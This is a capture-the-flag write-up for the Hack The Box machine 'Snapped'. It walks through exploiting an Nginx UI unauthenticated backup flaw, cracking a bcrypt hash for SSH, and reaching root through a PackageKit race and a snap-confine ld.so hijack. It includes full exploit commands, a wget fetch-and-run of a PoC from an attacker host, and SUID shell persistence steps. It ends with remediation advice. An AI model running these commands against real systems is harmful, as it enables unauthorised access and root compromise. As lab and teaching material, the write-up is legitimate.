← Back to writeups

HTB Snapped (Hard): CVE-2026-27944, bcrypt, and Two Paths to Root via PackageKit and snap-confine

Introduction

Snapped is a retired Hard Linux machine (Ubuntu 24.04) that combines multiple CVEs and a weak password to achieve root. The attack chain starts with subdomain enumeration, exploits an unauthenticated backup endpoint in Nginx UI (CVE-2026-27944), cracks a bcrypt hash to obtain SSH access, and then offers two privilege escalation paths: an unintended TOCTOU in PackageKit (CVE-2026-41651) and the intended race condition in snap-confine (CVE-2026-3888).

Attack Overview

RECON                   FOOTHOLD                    USER                    ROOT
─────                   ────────                    ────                    ────
nmap (22,80)            CVE-2026-27944              bcrypt crack            [UNINTENDED] CVE-2026-41651
ffuf subdomain          Nginx UI /api/backup        (hashcat rockyou)       PackageKit TOCTOU
nuclei scan             unauthenticated             jonathan:linkinpark     SUID bash → root
admin.snapped.htb       backup + key leak           SSH                     ─────────────────
                        AES-256 decrypt                                     [INTENDED] CVE-2026-3888
                        JwtSecret + NodeSecret                              snap-confine race
                        rogue admin user                                    ld.so hijack → root
                        JWT → dashboard

Reconnaissance

Port Scan

sudo nmap -sS -sV -sC 10.129.6.170
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://snapped.htb/

Add the domain to /etc/hosts:

echo "10.129.6.170 snapped.htb" >> /etc/hosts

Web Enumeration

The main site (snapped.htb) is a static one-page site. Subdomain fuzzing:

ffuf -w /path/to/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \
     -H "Host: FUZZ.snapped.htb" \
     -u http://snapped.htb \
     -fs 154

Result: admin (Status 200, Size 1407). Add it:

echo "10.129.6.170 admin.snapped.htb" >> /etc/hosts

admin.snapped.htb presents an Nginx UI login panel.

Nuclei Findings

Running Nuclei against the admin subdomain yields critical hits:

[CVE-2026-27944:backup_security_header] [http] [critical]
  http://admin.snapped.htb/api/backup
  ["0yG0pp87RunNfbSOJtu2C9znNq7uQvoJXjkwxe0eL4A=:b+xqOUPbrtSqDvY3v4nDaw=="]
[CVE-2026-33032] [http] [critical]
  http://admin.snapped.htb/mcp_message

CVE-2026-27944 is the primary exploitation vector.

Foothold – CVE-2026-27944 (Nginx UI Unauthenticated Backup)

Vulnerability Details

Nginx UI versions prior to 2.3.3 expose an unauthenticated /api/backup endpoint (CWE-306). The backup is encrypted with AES-256, but the AES key and IV are returned in plaintext in the X-Backup-Security HTTP header (CWE-311). An attacker can request the backup, receive the decryption key, and decrypt the archive without any credentials.

Exploitation

Using a public PoC:

python3 CVE-2026-27944.py -u http://admin.snapped.htb/ --create-user hacker

Output excerpt:

[+] AES Key (256-bit): bb8ea11069add590db215aae681ffd28e0ec54244f257cee08c70b6ec9e933b6
[+] AES IV  (128-bit): fcc50d504fb46d6e253bf9809d16d762
[+] === Extracted Secrets from app.ini ===
    JwtSecret:     6c4af436-035a-4942-9ca6-172b36696ce9
    Node Secret:   c64d7ca1-19cb-4ebe-96d4-49037e7df78e
    Crypto Secret: 5c942292647d73f597f47c0be2237bf7347cdb70a0e8e8558e448318862357d6
[+] === Users from database ===
    ID=1  Name=admin     Password=$2a$10$8YdBq4e...
    ID=2  Name=jonathan  Password=$2a$10$8M7JZS...
[+] User 'hacker' created (ID=3), password: QLj20PZRtXNRd73a
[+] JWT Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Set the JWT as a cookie in the browser:

document.cookie="token=eyJhbGci...;path=/"

Refresh to access the Nginx UI admin panel.

User Flag – Cracking Jonathan’s bcrypt Hash

The backup exposed two bcrypt hashes. Jonathan’s hash:

$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq

Crack with Hashcat (mode 3200):

hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

Result: linkinpark (cracked in 15 seconds).

SSH access:

ssh jonathan@snapped.htb
# password: linkinpark
jonathan@snapped:~$ cat user.txt
[redacted]

Privilege Escalation – Initial Checks

sudo -l returns no permissions. LinPEAS reveals two critical vectors:

  • PackageKit version vulnerable to CVE-2026-41651 (Pack2TheRoot)
  • SUID snap-confine binary pointing toward CVE-2026-3888

Root – Unintended Path: CVE-2026-41651 (PackageKit TOCTOU)

Vulnerability

CVE-2026-41651 (CVSS 8.8) is a TOCTOU race condition in PackageKit’s transaction state machine. By making two rapid InstallFiles calls (first with a SIMULATE flag to pass authorization, second with a malicious .deb), an attacker can install a SUID binary as root.

Exploitation

Serve the PoC from the attacker machine:

git clone https://github.com/Vozec/CVE-2026-41651.git
cd CVE-2026-41651
python3 -m http.server 7777

On the victim:

wget http://ATTACKER_IP:7777/cve-2026-41651
chmod +x cve-2026-41651
./cve-2026-41651

Output:

[*] Step 1: InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2: InstallFiles(NONE=0x0, payload) [async]
[!] PK error 48: Failed to obtain authentication.
[+] SUCCESS - SUID bash at t+6200ms

Obtain root:

.suid_bash -p
whoami   # root
cat /root/root.txt
[redacted]

Root – Intended Path: CVE-2026-3888 (snap-confine Race Condition)

This is the intended escalation. It exploits a race condition in snap-confine (SUID binary) when setting up a mount namespace.

Vulnerability

The race occurs between the creation of a temporary root filesystem (/tmp/snap.rootfs_*) and its lockdown. An attacker can swap the dynamic linker (ld-linux-x86-64.so.2) inside the temporary root with a malicious library. When snap-confine later executes a binary as root, it loads the attacker’s library.

Exploitation (Three-Terminal Session)

Terminal 1 – Spawn a confined shell and hold the race window:

systemd-run --user --scope --unit=snap.init$(date +%s) \
  env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine \
  --base core22 snap.firefox.hook.configure /bin/bash
echo $$   # e.g. 3049
while test -d ./.snap; do touch ./; sleep 1; done

Terminal 2 – Trigger the race and swap the dynamic linker:

systemd-run --user --scope --unit=snap.d$(date +%s) /bin/bash -c \
  "env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine \
  --base snapd snap.firefox.hook.configure /nonexistent; exit"
~/firefox_2404 ~/librootshell.so

Terminal 3 – Inject the malicious library and execute as root:

PID=$(cat /proc/3049/cwd/race_pid.txt)
cd /proc/$PID/root
cp /usr/bin/busybox ./tmp/sh
cat ~/librootshell.so > ./usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine \
  --base core22 snap.firefox.hook.configure /usr/lib/snapd/snap-confine

Result:

BusyBox v1.36.1 built-in shell (ash)
/ # whoami
root

Drop a persistent SUID bash:

cp /bin/bash /var/snap/firefox/common/bash
chmod 04755 /var/snap/firefox/common/bash
exit
/var/snap/firefox/common/bash -p
bash-5.1# cat /root/root.txt
[redacted]

Vulnerabilities Summary

CVEComponentTypeCVSSImpact
CVE-2026-27944Nginx UI < 2.3.3Unauth backup + key leak9.8Credential dump, admin
bcrypt hash (weak password)Weak credentialSSH access as jonathan
CVE-2026-41651PackageKit 1.0.2–1.3.4TOCTOU LPE8.8Root (unintended)
CVE-2026-3888snap-confine / snapd 2.63Mount namespace raceRoot (intended)

Key Takeaways

VulnerabilityRoot CauseRemediation
CVE-2026-27944 (Nginx UI backup)Unauthenticated endpoint + key disclosure in headerNever expose admin interfaces publicly; enforce auth on every endpoint; never return cryptographic keys in HTTP responses
Weak bcrypt hashlinkinpark appears early in rockyou.txtEnforce password complexity and length; use multi-factor authentication
CVE-2026-41651 (PackageKit TOCTOU)Race condition in transaction state machineUpdate PackageKit to ≥1.3.5; disable PackageKit on servers if not needed; monitor D-Bus calls
CVE-2026-3888 (snap-confine race)Non-atomic check-and-use of temporary rootfsPatch snapd; monitor SUID binary executions; alert on unusual SNAP_INSTANCE_NAME values

Resources